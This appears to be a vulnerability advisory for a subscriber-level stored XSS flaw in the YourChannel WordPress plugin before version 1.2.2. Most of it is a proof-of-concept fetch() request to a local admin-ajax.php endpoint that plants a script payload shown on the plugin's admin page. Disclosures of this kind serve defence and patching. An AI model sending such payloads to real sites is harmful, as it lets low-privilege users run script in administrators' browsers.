YourChannel < 1.2.2 - Subscriber+ Stored XSS

Proof of Concept

fetch('http://localhost:10008/wp-admin/admin-ajax.php', {
        method: 'POST',
        headers: new Headers({
            'Content-Type': 'application/x-www-form-urlencoded',
        }),
        body: 'action=yrc_save_lang&yrc_lang[Videos]="><script>alert(1)</script>'
    }).then(response => response.text()).then(result => console.log(result)).catch(error => console.log('error', error));

The script will be exploited on the YourChannel admin page.